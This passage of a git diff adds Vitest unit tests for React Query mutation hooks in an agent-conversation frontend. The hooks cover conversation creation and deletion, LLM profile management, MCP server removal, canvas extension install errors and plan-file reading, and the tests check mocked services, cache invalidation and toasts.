+      backend: { id: "cloud-1", kind: "cloud" },
+      orgId: null,
+    });
+    listAgentProfilesMock.mockResolvedValue({
+      profiles: [
+        {
+          id: "profile-luna",
+          name: "openhands-luna",
+          agent_kind: "openhands",
+          revision: 1,
+          llm_profile_ref: "pinned-model",
+          mcp_server_refs: null,
+        },
+      ],
+      active_agent_profile_id: "profile-luna",
+    });
+    listLlmProfilesMock.mockResolvedValue({
+      profiles: [{ name: "pinned-model" }, { name: "selected-model" }],
+      active_profile: "selected-model",
+    });
+    const createConversationSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue({
+        id: "task-id",
+        app_conversation_id: "conv-1",
+        agent_server_url: "http://agent-server.local",
+      } as never);
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={new QueryClient()}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await result.current.mutateAsync({ query: "hello" });
+
+    const call = createConversationSpy.mock.lastCall;
+    expect(call?.[0]?.agentProfileId).toBe("profile-luna");
+  });
+});
diff --git a/__tests__/hooks/mutation/use-delete-conversation.test.tsx b/__tests__/hooks/mutation/use-delete-conversation.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..8360f28ccafc2a9f169f34471f0fd2370814fae4
--- /dev/null
+++ b/__tests__/hooks/mutation/use-delete-conversation.test.tsx
@@ -0,0 +1,69 @@
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { describe, expect, it, vi } from "vitest";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { useDeleteConversation } from "#/hooks/mutation/use-delete-conversation";
+
+describe("useDeleteConversation", () => {
+  it("invalidates the conversation list and start-tasks queries on settle", async () => {
+    vi.spyOn(
+      AgentServerConversationService,
+      "deleteConversation",
+    ).mockResolvedValue(undefined);
+
+    const queryClient = new QueryClient();
+    const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries");
+
+    const { result } = renderHook(() => useDeleteConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={queryClient}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await result.current.mutateAsync({ conversationId: "conv-1" });
+
+    await waitFor(() => {
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["user", "conversations"],
+      });
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["start-tasks"],
+      });
+    });
+  });
+
+  it("still invalidates both queries when the delete request fails", async () => {
+    vi.spyOn(
+      AgentServerConversationService,
+      "deleteConversation",
+    ).mockRejectedValue(new Error("boom"));
+
+    const queryClient = new QueryClient({
+      defaultOptions: { mutations: { retry: false } },
+    });
+    const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries");
+
+    const { result } = renderHook(() => useDeleteConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={queryClient}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await expect(
+      result.current.mutateAsync({ conversationId: "conv-1" }),
+    ).rejects.toThrow("boom");
+
+    await waitFor(() => {
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["user", "conversations"],
+      });
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["start-tasks"],
+      });
+    });
+  });
+});
diff --git a/__tests__/hooks/mutation/use-delete-llm-profile.test.tsx b/__tests__/hooks/mutation/use-delete-llm-profile.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2be1623e0814cbe2ef364b68873cd73577172f96
--- /dev/null
+++ b/__tests__/hooks/mutation/use-delete-llm-profile.test.tsx
@@ -0,0 +1,130 @@
+import { describe, expect, it, vi, afterEach, beforeEach } from "vitest";
+import React from "react";
+import { renderHook, waitFor, act } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { useDeleteLlmProfile } from "#/hooks/mutation/use-delete-llm-profile";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import {
+  LLM_PROFILES_QUERY_KEYS,
+  SETTINGS_QUERY_KEYS,
+} from "#/hooks/query/query-keys";
+
+vi.mock("#/api/profiles-service/profiles-service.api");
+vi.mock("#/api/settings-service/settings-service.api");
+
+describe("useDeleteLlmProfile", () => {
+  let queryClient: QueryClient;
+  let wrapper: ({
+    children,
+  }: {
+    children: React.ReactNode;
+  }) => React.ReactElement;
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+        mutations: { retry: false },
+      },
+    });
+    wrapper = ({ children }: { children: React.ReactNode }) =>
+      React.createElement(
+        QueryClientProvider,
+        { client: queryClient },
+        children,
+      );
+  });
+
+  afterEach(() => {
+    queryClient.clear();
+    vi.clearAllMocks();
+  });
+
+  it("calls ProfilesService.deleteProfile with name", async () => {
+    vi.mocked(ProfilesService.deleteProfile).mockResolvedValue({
+      name: "old-profile",
+      message: "Profile deleted",
+    });
+
+    const { result } = renderHook(() => useDeleteLlmProfile(), { wrapper });
+
+    await act(async () => {
+      await result.current.mutateAsync("old-profile");
+    });
+
+    expect(ProfilesService.deleteProfile).toHaveBeenCalledWith("old-profile");
+  });
+
+  it("invalidates LLM_PROFILES_QUERY_KEYS.all on success", async () => {
+    vi.mocked(ProfilesService.deleteProfile).mockResolvedValue({
+      name: "deleted-profile",
+      message: "Profile deleted",
+    });
+
+    queryClient.setQueryData(LLM_PROFILES_QUERY_KEYS.all, {
+      profiles: [
+        {
+          name: "deleted-profile",
+          model: "gpt-4",
+          base_url: null,
+          api_key_set: true,
+        },
+      ],
+    });
+    const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries");
+    const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache");
+
+    const { result } = renderHook(() => useDeleteLlmProfile(), { wrapper });
+
+    await act(async () => {
+      await result.current.mutateAsync("deleted-profile");
+    });
+
+    // Verifies all three cache invalidations occur on success
+    expect(invalidateCacheSpy).toHaveBeenCalled();
+    expect(invalidateSpy).toHaveBeenCalledWith({
+      queryKey: LLM_PROFILES_QUERY_KEYS.all,
+    });
+    expect(invalidateSpy).toHaveBeenCalledWith({
+      queryKey: SETTINGS_QUERY_KEYS.personal(),
+    });
+  });
+
+  it("clears a deleted local title profile preference", async () => {
+    vi.mocked(ProfilesService.deleteProfile).mockResolvedValue({
+      name: "Titles",
+      message: "Profile deleted",
+    });
+    vi.mocked(SettingsService.getSettings).mockResolvedValue({
+      title_llm_profile: "Titles",
+    } as never);
+
+    const { result } = renderHook(() => useDeleteLlmProfile(), { wrapper });
+
+    await act(async () => {
+      await result.current.mutateAsync("Titles");
+    });
+
+    expect(SettingsService.saveSettings).toHaveBeenCalledWith({
+      title_llm_profile: null,
+    });
+  });
+
+  it("handles delete errors", async () => {
+    const error = new Error("Profile not found");
+    vi.mocked(ProfilesService.deleteProfile).mockRejectedValue(error);
+
+    const { result } = renderHook(() => useDeleteLlmProfile(), { wrapper });
+
+    await expect(
+      act(async () => {
+        await result.current.mutateAsync("nonexistent-profile");
+      }),
+    ).rejects.toThrow("Profile not found");
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+  });
+});
diff --git a/__tests__/hooks/mutation/use-delete-mcp-server.test.ts b/__tests__/hooks/mutation/use-delete-mcp-server.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..83780d9bd249f45b554573dabe8dc047a73ba162
--- /dev/null
+++ b/__tests__/hooks/mutation/use-delete-mcp-server.test.ts
@@ -0,0 +1,80 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { renderHook, waitFor } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import {
+  __resetMcpHealthStoreForTests,
+  getMcpHealthSnapshot,
+  setMcpServerHealth,
+} from "#/api/mcp-health/mcp-health-store";
+import { useDeleteMcpServer } from "#/hooks/mutation/use-delete-mcp-server";
+import type { MCPServerConfig } from "#/types/mcp-server";
+import { getMcpServerHealthKey } from "#/utils/mcp-server-health-key";
+
+const createWrapper = () => {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+  function Wrapper({ children }: { children: React.ReactNode }) {
+    return React.createElement(
+      QueryClientProvider,
+      { client: queryClient },
+      children,
+    );
+  }
+  return Wrapper;
+};
+
+describe("useDeleteMcpServer", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    __resetMcpHealthStoreForTests();
+  });
+
+  it("deletes by stable map key in one request", async () => {
+    const deleteSpy = vi
+      .spyOn(SettingsService, "deleteMcpServer")
+      .mockResolvedValue(true);
+    const fetchSpy = vi.spyOn(SettingsService, "fetchSettingsFromApi");
+    const target: MCPServerConfig = {
+      id: "github",
+      type: "shttp",
+      name: "github",
+      url: "https://github.example/mcp",
+    };
+    const { result } = renderHook(() => useDeleteMcpServer(), {
+      wrapper: createWrapper(),
+    });
+
+    await result.current.mutateAsync(target);
+
+    expect(deleteSpy).toHaveBeenCalledOnce();
+    expect(deleteSpy).toHaveBeenCalledWith("github");
+    expect(fetchSpy).not.toHaveBeenCalled();
+  });
+
+  it("drops the deleted server's health verdict after success", async () => {
+    vi.spyOn(SettingsService, "deleteMcpServer").mockResolvedValue(true);
+    const target: MCPServerConfig = {
+      id: "github",
+      type: "shttp",
+      name: "github",
+      url: "https://github.example/mcp",
+    };
+    const key = getMcpServerHealthKey(target);
+    setMcpServerHealth(key, {
+      status: "healthy",
+      verification: "verified",
+      toolCount: 1,
+      checkedAt: 1,
+    });
+    const { result } = renderHook(() => useDeleteMcpServer(), {
+      wrapper: createWrapper(),
+    });
+
+    await result.current.mutateAsync(target);
+
+    await waitFor(() => expect(getMcpHealthSnapshot()[key]).toBeUndefined());
+  });
+});
diff --git a/__tests__/hooks/mutation/use-delete-mcp-server.test.tsx b/__tests__/hooks/mutation/use-delete-mcp-server.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..9b6b299dd661d8d68a165063592f6c3f59d10030
--- /dev/null
+++ b/__tests__/hooks/mutation/use-delete-mcp-server.test.tsx
@@ -0,0 +1,109 @@
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import type { ReactNode } from "react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { useDeleteMcpServer } from "#/hooks/mutation/use-delete-mcp-server";
+import { SETTINGS_QUERY_KEYS } from "#/hooks/query/query-keys";
+import { getMcpServerHealthKey } from "#/utils/mcp-server-health-key";
+import type { MCPServerConfig } from "#/types/mcp-server";
+
+const { deleteMcpServerMock, clearMcpServerHealthMock } = vi.hoisted(() => ({
+  deleteMcpServerMock: vi.fn(),
+  clearMcpServerHealthMock: vi.fn(),
+}));
+
+vi.mock("#/api/settings-service/settings-service.api", () => ({
+  default: {
+    deleteMcpServer: (...args: unknown[]) => deleteMcpServerMock(...args),
+  },
+}));
+
+vi.mock("#/api/mcp-health/mcp-health-store", () => ({
+  clearMcpServerHealth: (key: string) => clearMcpServerHealthMock(key),
+}));
+
+const sseServer: MCPServerConfig = {
+  id: "srv-sse",
+  type: "sse",
+  name: "Docs",
+  url: "https://mcp.example.com/sse",
+};
+
+const stdioServer: MCPServerConfig = {
+  id: "srv-stdio",
+  type: "stdio",
+  name: "Local",
+  command: "node",
+  args: ["server.js"],
+};
+
+function renderDeleteHook() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+  const invalidate = vi.spyOn(queryClient, "invalidateQueries");
+  const wrapper = ({ children }: { children: ReactNode }) => (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+  const { result } = renderHook(() => useDeleteMcpServer(), { wrapper });
+  return { result, invalidate };
+}
+
+beforeEach(() => {
+  vi.clearAllMocks();
+  deleteMcpServerMock.mockResolvedValue(undefined);
+});
+
+describe("useDeleteMcpServer", () => {
+  it("deletes a server by its canonical settings-map id", async () => {
+    const { result } = renderDeleteHook();
+
+    await act(async () => {
+      await result.current.mutateAsync(sseServer);
+    });
+
+    expect(deleteMcpServerMock).toHaveBeenCalledExactlyOnceWith("srv-sse");
+  });
+
+  it("clears the deleted server's health entry and refreshes personal settings on success", async () => {
+    const { result, invalidate } = renderDeleteHook();
+
+    await act(async () => {
+      await result.current.mutateAsync(stdioServer);
+    });
+
+    expect(clearMcpServerHealthMock).toHaveBeenCalledExactlyOnceWith(
+      getMcpServerHealthKey(stdioServer),
+    );
+    expect(invalidate).toHaveBeenCalledWith({
+      queryKey: SETTINGS_QUERY_KEYS.personal(),
+    });
+  });
+
+  it("derives a distinct health key per target so siblings are not orphaned", async () => {
+    const { result } = renderDeleteHook();
+
+    await act(async () => {
+      await result.current.mutateAsync(sseServer);
+    });
+
+    const key = clearMcpServerHealthMock.mock.calls[0][0];
+    expect(key).toBe(getMcpServerHealthKey(sseServer));
+    expect(key).not.toBe(getMcpServerHealthKey(stdioServer));
+  });
+
+  it("does not clear health or refresh settings when the deletion request fails", async () => {
+    deleteMcpServerMock.mockRejectedValueOnce(new Error("network down"));
+    const { result, invalidate } = renderDeleteHook();
+
+    await act(async () => {
+      await expect(result.current.mutateAsync(sseServer)).rejects.toThrow(
+        "network down",
+      );
+    });
+
+    await waitFor(() => expect(result.current.isError).toBe(true));
+    expect(clearMcpServerHealthMock).not.toHaveBeenCalled();
+    expect(invalidate).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/hooks/mutation/use-install-canvas-extension.test.ts b/__tests__/hooks/mutation/use-install-canvas-extension.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d7085908efd249a5db3040007fcaa2410e670cf2
--- /dev/null
+++ b/__tests__/hooks/mutation/use-install-canvas-extension.test.ts
@@ -0,0 +1,79 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { renderHook, waitFor } from "@testing-library/react";
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import CanvasExtensionsService from "#/api/canvas-extensions-service";
+import { useInstallCanvasExtension } from "#/hooks/mutation/use-manage-canvas-extensions";
+import { CORS_OR_NETWORK_ERROR_MESSAGE } from "#/utils/user-facing-error";
+
+const displayErrorToast = vi.fn();
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displayErrorToast: (message: string) => displayErrorToast(message),
+  displaySuccessToast: vi.fn(),
+}));
+
+const createWrapper = () => {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+  return function Wrapper({ children }: { children: React.ReactNode }) {
+    return React.createElement(QueryClientProvider, { client }, children);
+  };
+};
+
+/** The shape the shared TypeScript client throws for a failed request. */
+class HttpError extends Error {
+  status: number;
+
+  response: unknown;
+
+  constructor(status: number, detail: string) {
+    super(
+      `HTTP request failed (${status} Bad Request): ${JSON.stringify({ detail })}`,
+    );
+    this.name = "HttpError";
+    this.status = status;
+    this.response = { detail };
+  }
+}
+
+describe("useInstallCanvasExtension", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("surfaces the server's reason instead of the raw HTTP message", async () => {
+    const detail =
+      "Failed to fetch canvas extension source: Subdirectory 'canvas-puls' not found in local source '/repo'";
+    vi.spyOn(CanvasExtensionsService, "install").mockRejectedValue(
+      new HttpError(400, detail),
+    );
+
+    const { result } = renderHook(() => useInstallCanvasExtension(), {
+      wrapper: createWrapper(),
+    });
+    result.current.mutate({ source: "/repo", repo_path: "canvas-puls" });
+
+    await waitFor(() => expect(displayErrorToast).toHaveBeenCalled());
+    expect(displayErrorToast).toHaveBeenCalledWith(detail);
+    expect(displayErrorToast).not.toHaveBeenCalledWith(
+      expect.stringContaining("HTTP request failed"),
+    );
+  });
+
+  it("keeps the shared disconnect wording when the request never lands", async () => {
+    vi.spyOn(CanvasExtensionsService, "install").mockRejectedValue(
+      new TypeError("Failed to fetch"),
+    );
+
+    const { result } = renderHook(() => useInstallCanvasExtension(), {
+      wrapper: createWrapper(),
+    });
+    result.current.mutate({ source: "/repo" });
+
+    await waitFor(() => expect(displayErrorToast).toHaveBeenCalled());
+    expect(displayErrorToast).toHaveBeenCalledWith(
+      CORS_OR_NETWORK_ERROR_MESSAGE,
+    );
+  });
+});
diff --git a/__tests__/hooks/mutation/use-new-conversation-command.test.tsx b/__tests__/hooks/mutation/use-new-conversation-command.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b68c7636afa8b2ef33399ef5ea080dd83ed849eb
--- /dev/null
+++ b/__tests__/hooks/mutation/use-new-conversation-command.test.tsx
@@ -0,0 +1,277 @@
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { useNewConversationCommand } from "#/hooks/mutation/use-new-conversation-command";
+import * as telemetry from "#/services/telemetry";
+
+const mockNavigate = vi.fn();
+
+vi.mock("#/context/navigation-context", () => ({
+  useNavigation: () => ({
+    currentPath: "/conversations/conv-123",
+    conversationId: "conv-123",
+    isNavigating: false,
+    navigate: mockNavigate,
+  }),
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}));
+
+const { mockToast } = vi.hoisted(() => {
+  const mockToast = Object.assign(vi.fn(), {
+    loading: vi.fn(),
+    dismiss: vi.fn(),
+  });
+  return { mockToast };
+});
+
+vi.mock("react-hot-toast", () => ({
+  default: mockToast,
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displaySuccessToast: vi.fn(),
+  displayErrorToast: vi.fn(),
+  TOAST_OPTIONS: { position: "top-right" },
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => ({
+    data: { email: "user@example.com", user_consents_to_analytics: true },
+  }),
+}));
+
+const mockConversation = {
+  id: "conv-123",
+  title: "Test Conversation",
+  selected_repository: null,
+  selected_branch: null,
+  git_provider: null,
+  sandbox_id: "sandbox-abc",
+  conversation_version: "V1" as const,
+};
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({
+    data: mockConversation,
+  }),
+}));
+
+function makeStartTask(overrides: Record<string, unknown> = {}) {
+  return {
+    id: "task-789",
+    created_by_user_id: null,
+    status: "READY",
+    detail: null,
+    app_conversation_id: "new-conv-999",
+    agent_server_url: "http://agent-server.local",
+    request: {
+      initial_message: null,
+      processors: [],
+      llm_model: null,
+      selected_repository: null,
+      selected_branch: null,
+      git_provider: null,
+      suggested_task: null,
+      title: null,
+      trigger: null,
+      pr_number: [],
+      parent_conversation_id: null,
+      agent_type: "default",
+    },
+    created_at: new Date().toISOString(),
+    updated_at: new Date().toISOString(),
+    ...overrides,
+  };
+}
+
+describe("useNewConversationCommand", () => {
+  let queryClient: QueryClient;
+  let captureMock: ReturnType<typeof vi.spyOn>;
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+    captureMock = vi
+      .spyOn(telemetry, "trackEvent")
+      .mockResolvedValue(undefined);
+    queryClient = new QueryClient({
+      defaultOptions: { mutations: { retry: false } },
+    });
+  });
+
+  afterEach(() => {
+    captureMock.mockRestore();
+  });
+
+  const wrapper = ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+
+  it("calls createConversation and navigates on success", async () => {
+    const readyTask = makeStartTask();
+    const createSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue(readyTask as never);
+
+    const { result } = renderHook(() => useNewConversationCommand(), {
+      wrapper,
+    });
+
+    await result.current.mutateAsync();
+
+    await waitFor(() => {
+      expect(createSpy).toHaveBeenCalled();
+      expect(mockNavigate).toHaveBeenCalledWith("/conversations/new-conv-999");
+    });
+  });
+
+  it("throws when the start task ends in ERROR", async () => {
+    const errorTask = makeStartTask({
+      status: "ERROR",
+      detail: "Setup failed",
+      app_conversation_id: null,
+    });
+
+    vi.spyOn(
+      AgentServerConversationService,
+      "createConversation",
+    ).mockResolvedValue(errorTask as never);
+
+    const { result } = renderHook(() => useNewConversationCommand(), {
+      wrapper,
+    });
+
+    await expect(result.current.mutateAsync()).rejects.toThrow("Setup failed");
+  });
+
+  it("navigates to /conversations/task-{id} for a cloud WORKING task without app_conversation_id", async () => {
+    const workingTask = makeStartTask({
+      status: "WORKING",
+      detail: null,
+      app_conversation_id: null,
+    });
+
+    vi.spyOn(
+      AgentServerConversationService,
+      "createConversation",
+    ).mockResolvedValue(workingTask as never);
+
+    const { result } = renderHook(() => useNewConversationCommand(), {
+      wrapper,
+    });
+
+    await result.current.mutateAsync();
+
+    await waitFor(() => {
+      // Format matches OpenHands' cloud pattern: useTaskPolling unwraps
+      // `task-{uuid}` and polls until READY, then redirects.
+      expect(mockNavigate).toHaveBeenCalledWith("/conversations/task-task-789");
+    });
+  });
+
+  it("invalidates conversation list queries on success", async () => {
+    const readyTask = makeStartTask();
+
+    vi.spyOn(
+      AgentServerConversationService,
+      "createConversation",
+    ).mockResolvedValue(readyTask as never);
+
+    const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries");
+
+    const { result } = renderHook(() => useNewConversationCommand(), {
+      wrapper,
+    });
+
+    await result.current.mutateAsync();
+
+    await waitFor(() => {
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["user", "conversations"],
+      });
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["v1-batch-get-app-conversations"],
+      });
+    });
+  });
+
+  it("forwards the active conversation's sandbox_id so /new reuses the same runtime", async () => {
+    // Arrange
+    const readyTask = makeStartTask();
+    const createSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue(readyTask as never);
+
+    // Act
+    const { result } = renderHook(() => useNewConversationCommand(), {
+      wrapper,
+    });
+    await result.current.mutateAsync();
+
+    // Assert — only sandbox_id travels; parent_conversation_id and agent_type
+    // stay undefined because /new is NOT a sub-conversation.
+    await waitFor(() => {
+      expect(createSpy).toHaveBeenCalledWith({
+        sandboxId: "sandbox-abc",
+      });
+    });
+  });
+
+  it("shows a loading toast and dismisses it on success", async () => {
+    const readyTask = makeStartTask();
+
+    vi.spyOn(
+      AgentServerConversationService,
+      "createConversation",
+    ).mockResolvedValue(readyTask as never);
+
+    const { result } = renderHook(() => useNewConversationCommand(), {
+      wrapper,
+    });
+
+    await result.current.mutateAsync();
+
+    await waitFor(() => {
+      expect(mockToast.loading).toHaveBeenCalledWith(
+        "CONVERSATION$CLEARING",
+        expect.objectContaining({ id: "clear-conversation" }),
+      );
+      expect(mockToast.dismiss).toHaveBeenCalledWith("clear-conversation");
+    });
+  });
+
+  it("emits conversation_start_requested on success with the /new no-context payload", async () => {
+    const readyTask = makeStartTask();
+    vi.spyOn(
+      AgentServerConversationService,
+      "createConversation",
+    ).mockResolvedValue(readyTask as never);
+
+    const { result } = renderHook(() => useNewConversationCommand(), {
+      wrapper,
+    });
+
+    await result.current.mutateAsync();
+
+    await waitFor(() => {
+      expect(captureMock).toHaveBeenCalledWith(
+        "conversation_start_requested",
+        expect.objectContaining({
+          conversation_id: "new-conv-999",
+          task_id: "task-789",
+          is_start_task: false,
+          has_repository: false,
+          has_workspace: false,
+          has_initial_query: false,
+          has_parent_conversation: false,
+          entry_point: "new_command",
+        }),
+      );
+    });
+  });
+});
diff --git a/__tests__/hooks/mutation/use-read-conversation-file.test.tsx b/__tests__/hooks/mutation/use-read-conversation-file.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..24e1684596fde338548affae86bbcc561be72107
--- /dev/null
+++ b/__tests__/hooks/mutation/use-read-conversation-file.test.tsx
@@ -0,0 +1,146 @@
+import { describe, expect, it, vi, afterEach, beforeEach } from "vitest";
+import React from "react";
+import { renderHook, waitFor, act } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { AxiosError, AxiosHeaders } from "axios";
+import { useReadConversationFile } from "#/hooks/mutation/use-read-conversation-file";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { displayErrorToast } from "#/utils/custom-toast-handlers";
+
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: { readConversationFile: vi.fn() },
+  }),
+);
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displayErrorToast: vi.fn(),
+}));
+
+function makeAxiosError(status: number): AxiosError {
+  return new AxiosError(
+    `Request failed with status code ${status}`,
+    String(status),
+    undefined,
+    undefined,
+    {
+      status,
+      statusText: String(status),
+      headers: new AxiosHeaders(),
+      config: { headers: new AxiosHeaders() },
+      data: undefined,
+    },
+  );
+}
+
+describe("useReadConversationFile", () => {
+  let queryClient: QueryClient;
+  let wrapper: ({
+    children,
+  }: {
+    children: React.ReactNode;
+  }) => React.ReactElement;
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+        mutations: { retry: false },
+      },
+    });
+    wrapper = ({ children }: { children: React.ReactNode }) =>
+      React.createElement(
+        QueryClientProvider,
+        { client: queryClient },
+        children,
+      );
+  });
+
+  afterEach(() => {
+    queryClient.clear();
+    vi.clearAllMocks();
+  });
+
+  it("resolves with the file content on success", async () => {
+    vi.mocked(
+      AgentServerConversationService.readConversationFile,
+    ).mockResolvedValue("# Plan\n\n- step 1");
+
+    const { result } = renderHook(() => useReadConversationFile(), {
+      wrapper,
+    });
+
+    let content: string | undefined;
+    await act(async () => {
+      content = await result.current.mutateAsync({
+        conversationId: "conv-1",
+      });
+    });
+
+    expect(content).toBe("# Plan\n\n- step 1");
+    expect(displayErrorToast).not.toHaveBeenCalled();
+  });
+
+  it("stays silent on a 404 — the expected no-plan-yet state", async () => {
+    vi.mocked(
+      AgentServerConversationService.readConversationFile,
+    ).mockRejectedValue(makeAxiosError(404));
+
+    const { result } = renderHook(() => useReadConversationFile(), {
+      wrapper,
+    });
+
+    act(() => {
+      result.current.mutate({ conversationId: "conv-1" });
+    });
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+
+    expect(displayErrorToast).not.toHaveBeenCalled();
+  });
+
+  it("shows an error toast for a non-404 failure, e.g. a transient 500", async () => {
+    // Regression: meta.disableToast used to suppress the toast
+    // unconditionally, silently stranding the Planner tab on its empty
+    // state for real failures too, not just the expected 404.
+    vi.mocked(
+      AgentServerConversationService.readConversationFile,
+    ).mockRejectedValue(makeAxiosError(500));
+
+    const { result } = renderHook(() => useReadConversationFile(), {
+      wrapper,
+    });
+
+    act(() => {
+      result.current.mutate({ conversationId: "conv-1" });
+    });
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+
+    expect(displayErrorToast).toHaveBeenCalled();
+  });
+
+  it("shows an error toast for a non-Axios failure (e.g. a network error)", async () => {
+    vi.mocked(
+      AgentServerConversationService.readConversationFile,
+    ).mockRejectedValue(new Error("Network Error"));
+
+    const { result } = renderHook(() => useReadConversationFile(), {
+      wrapper,
+    });
+
+    act(() => {
+      result.current.mutate({ conversationId: "conv-1" });
+    });
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+
+    expect(displayErrorToast).toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/hooks/mutation/use-rename-llm-profile.test.tsx b/__tests__/hooks/mutation/use-rename-llm-profile.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..cc53d4b853b28ded807c399d2e08eb5f773fba78
--- /dev/null
+++ b/__tests__/hooks/mutation/use-rename-llm-profile.test.tsx
@@ -0,0 +1,196 @@
+import { describe, expect, it, vi, afterEach, beforeEach } from "vitest";
+import React from "react";
+import { renderHook, waitFor, act } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { useRenameLlmProfile } from "#/hooks/mutation/use-rename-llm-profile";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import {
+  LLM_PROFILES_QUERY_KEYS,
+  SETTINGS_QUERY_KEYS,
+} from "#/hooks/query/query-keys";
+
+vi.mock("#/api/profiles-service/profiles-service.api");
+vi.mock("#/api/settings-service/settings-service.api");
+
+describe("useRenameLlmProfile", () => {
+  let queryClient: QueryClient;
+  let wrapper: ({
+    children,
+  }: {
+    children: React.ReactNode;
+  }) => React.ReactElement;
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+        mutations: { retry: false },
+      },
+    });
+    wrapper = ({ children }: { children: React.ReactNode }) =>
+      React.createElement(
+        QueryClientProvider,
+        { client: queryClient },
+        children,
+      );
+  });
+
+  afterEach(() => {
+    queryClient.clear();
+    vi.clearAllMocks();
+  });
+
+  it("calls ProfilesService.renameProfile with name and newName", async () => {
+    vi.mocked(ProfilesService.renameProfile).mockResolvedValue({
+      name: "new-name",
+      message: "Profile renamed",
+    });
+
+    const { result } = renderHook(() => useRenameLlmProfile(), { wrapper });
+
+    await act(async () => {
+      await result.current.mutateAsync({
+        name: "old-name",
+        newName: "new-name",
+      });
+    });
+
+    expect(ProfilesService.renameProfile).toHaveBeenCalledWith(
+      "old-name",
+      "new-name",
+    );
+  });
+
+  it("invalidates LLM_PROFILES_QUERY_KEYS.all on success", async () => {
+    vi.mocked(ProfilesService.renameProfile).mockResolvedValue({
+      name: "renamed-profile",
+      message: "Profile renamed",
+    });
+
+    queryClient.setQueryData(LLM_PROFILES_QUERY_KEYS.all, {
+      profiles: [
